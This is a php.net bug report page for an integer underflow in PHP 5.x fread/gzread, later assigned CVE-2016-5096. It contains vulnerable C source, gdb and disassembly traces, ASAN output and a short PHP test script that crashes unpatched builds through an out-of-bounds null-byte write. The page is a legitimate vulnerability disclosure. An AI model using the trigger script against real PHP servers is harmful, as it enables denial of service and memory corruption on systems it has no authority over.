|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2016-05-10 04:46 UTC] stas@php.net
-Assigned To:
+Assigned To: stas
[2016-05-10 04:46 UTC] stas@php.net
[2016-05-10 04:46 UTC] stas@php.net
-PHP Version: 5.6.20
+PHP Version: 5.5.35
[2016-05-10 04:58 UTC] stas@php.net
[2016-05-11 11:03 UTC] fernando at null-life dot com
[2016-05-24 23:30 UTC] stas@php.net
[2016-05-24 23:30 UTC] stas@php.net
-Status: Assigned
+Status: Closed
[2016-05-25 00:21 UTC] stas@php.net
[2016-05-25 03:51 UTC] stas@php.net
[2016-05-25 03:52 UTC] stas@php.net
[2016-05-25 03:53 UTC] stas@php.net
[2016-05-26 21:03 UTC] kaplan@php.net
-CVE-ID:
+CVE-ID: 2016-5096
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Fri Oct 24 09:00:01 2025 UTC |
Description: ------------ Run the test script with ASAN. I could only reproduce this on a 64 bit environment. PHPAPI PHP_FUNCTION(fread) { zval *res; long len; php_stream *stream; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &res, &len) == FAILURE) { RETURN_FALSE; } PHP_STREAM_TO_ZVAL(stream, &res); if (len <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Length parameter must be greater than 0"); RETURN_FALSE; } Z_STRVAL_P(return_value) = emalloc(len + 1); Z_STRLEN_P(return_value) = php_stream_read(stream, Z_STRVAL_P(return_value), len); /* needed because recv/read/gzread doesnt put a null at the end*/ Z_STRVAL_P(return_value)[Z_STRLEN_P(return_value)] = 0; # Integer Underflow and null write Z_TYPE_P(return_value) = IS_STRING; } (gdb) run gzread2.php Starting program: /home/operac/php/php-56/sapi/cli/php gzread2.php Program received signal SIGSEGV, Segmentation fault. 0x0000000000727b66 in zif_fread (ht=2, return_value=0x7ffff7fd7d00, return_value_ptr=0x7ffff7fa21c8, this_ptr=0x0, return_value_used=0) at /home/operac/php/php-56/ext/standard/file.c:1769 1769 Z_STRVAL_P(return_value)[Z_STRLEN_P(return_value)] = 0; (gdb) print (*return_value) $2 = {value = {lval = 140735140003952, dval = 6,9532397838610798e-310, str = {val = 0x7fff74070070 "", len = -2147483648}, ht = 0x7fff74070070, obj = {handle = 1946615920, handlers = 0x5a5a5a5a80000000}, ast = 0x7fff74070070}, refcount__gc = 1, type = 0 '\000', is_ref__gc = 0 '\000'} (gdb) print (*return_value).value.str.len $1 = -2147483648 ----------- ASM: 0x727b45 <zif_fread+336>: callq 0x7ef31b <_php_stream_read> 0x727b4a <zif_fread+341>: mov %eax,%edx 0x727b4c <zif_fread+343>: mov -0x50(%rbp),%rax 0x727b50 <zif_fread+347>: mov %edx,0x8(%rax) 0x727b53 <zif_fread+350>: mov -0x50(%rbp),%rax 0x727b57 <zif_fread+354>: mov (%rax),%rdx 0x727b5a <zif_fread+357>: mov -0x50(%rbp),%rax 0x727b5e <zif_fread+361>: mov 0x8(%rax),%eax 0x727b61 <zif_fread+364>: cltq # converts the value to 64 bits 0x727b63 <zif_fread+366>: add %rdx,%rax => 0x727b66 <zif_fread+369>: movb $0x0,(%rax) # offset rax is negative here and causes an arbitrary null byte write 0x727b69 <zif_fread+372>: mov -0x50(%rbp),%rax 0x727b6d <zif_fread+376>: movb $0x6,0x14(%rax) 0x727b71 <zif_fread+380>: add $0x68,%rsp 0x727b75 <zif_fread+384>: pop %rbx 0x727b76 <zif_fread+385>: pop %rbp 0x727b77 <zif_fread+386>: retq I place a breakpoint on cltq and you can see when it's executed the rax value becomes negative, later this offset is used with the heap base to calculate the write address of the null byte. Breakpoint 1, 0x0000000000727b61 in zif_fread (ht=2, return_value=0x7ffff7fd7d00, return_value_ptr=0x7ffff7fa21c8, this_ptr=0x0, return_value_used=0) at /home/operac/php/php-56/ext/standard/file.c:1769 1769 /home/operac/php/php-56/ext/standard/file.c: No such file or directory. (gdb) i r rax 0x80000000 2147483648 # len parameter rbx 0x3 3 rcx 0x0 0 rdx 0x7fff74070070 140735140003952 # heap pointer (emalloc return address) rsi 0x7ffff7fdcc08 140737353993224 rdi 0x7ffff4070070 140737287487600 rbp 0x7fffffffa620 0x7fffffffa620 rsp 0x7fffffffa5b0 0x7fffffffa5b0 r8 0x0 0 r9 0x0 0 r10 0x7d3 2003 r11 0x246 582 r12 0x423ed0 4341456 r13 0x7fffffffe080 140737488347264 r14 0x0 0 r15 0x0 0 rip 0x727b61 0x727b61 <zif_fread+364> eflags 0x206 [ PF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) si 0x0000000000727b63 1769 in /home/operac/php/php-56/ext/standard/file.c (gdb) i r rax 0xffffffff80000000 -2147483648 # cltq (Convert Long To Quad) rbx 0x3 3 rcx 0x0 0 rdx 0x7fff74070070 140735140003952 # heap pointer (emalloc return address) rsi 0x7ffff7fdcc08 140737353993224 rdi 0x7ffff4070070 140737287487600 rbp 0x7fffffffa620 0x7fffffffa620 rsp 0x7fffffffa5b0 0x7fffffffa5b0 r8 0x0 0 r9 0x0 0 r10 0x7d3 2003 r11 0x246 582 r12 0x423ed0 4341456 r13 0x7fffffffe080 140737488347264 r14 0x0 0 r15 0x0 0 rip 0x727b63 0x727b63 <zif_fread+366> eflags 0x206 [ PF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) si 0x0000000000727b66 1769 in /home/operac/php/php-56/ext/standard/file.c (gdb) i r rax 0x7ffef4070070 140732992520304 # heap pointer + len < heap pointer !! rbx 0x3 3 rcx 0x0 0 rdx 0x7fff74070070 140735140003952 # heap pointer (emalloc return address) rsi 0x7ffff7fdcc08 140737353993224 rdi 0x7ffff4070070 140737287487600 rbp 0x7fffffffa620 0x7fffffffa620 rsp 0x7fffffffa5b0 0x7fffffffa5b0 r8 0x0 0 r9 0x0 0 r10 0x7d3 2003 r11 0x246 582 r12 0x423ed0 4341456 r13 0x7fffffffe080 140737488347264 r14 0x0 0 r15 0x0 0 rip 0x727b66 0x727b66 <zif_fread+369> eflags 0x203 [ CF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 Test script: --------------- <?php ini_set('memory_limit', "2500M"); $fp2 = fopen("/dev/zero", "r"); $var1=$fp2; $var2=2147483648; gzread($var1, $var2); Expected result: ---------------- No crash Actual result: -------------- ASAN:SIGSEGV ================================================================= ==3500==ERROR: AddressSanitizer: SEGV on unknown address 0x7f7fc2573860 (pc 0x000001168928 bp 0x0fffe7a9c75c sp 0x7fff3d4e3ad0 T0) #0 0x1168927 in zif_fread /home/operac/php/php56asan/ext/standard/file.c:1769 #1 0x1ae39b5 in zend_do_fcall_common_helper_SPEC /home/operac/php/php56asan/Zend/zend_vm_execute.h:558 #2 0x198fd08 in execute_ex /home/operac/php/php56asan/Zend/zend_vm_execute.h:363 #3 0x16e3228 in zend_execute_scripts /home/operac/php/php56asan/Zend/zend.c:1341 #4 0x144093f in php_execute_script /home/operac/php/php56asan/main/main.c:2613 #5 0x1aec405 in do_cli /home/operac/php/php56asan/sapi/cli/php_cli.c:994 #6 0x448bc5 in main /home/operac/php/php56asan/sapi/cli/php_cli.c:1378 #7 0x7f80c797982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #8 0x4490b8 in _start (/home/operac/php/php56asan/sapi/cli/php+0x4490b8)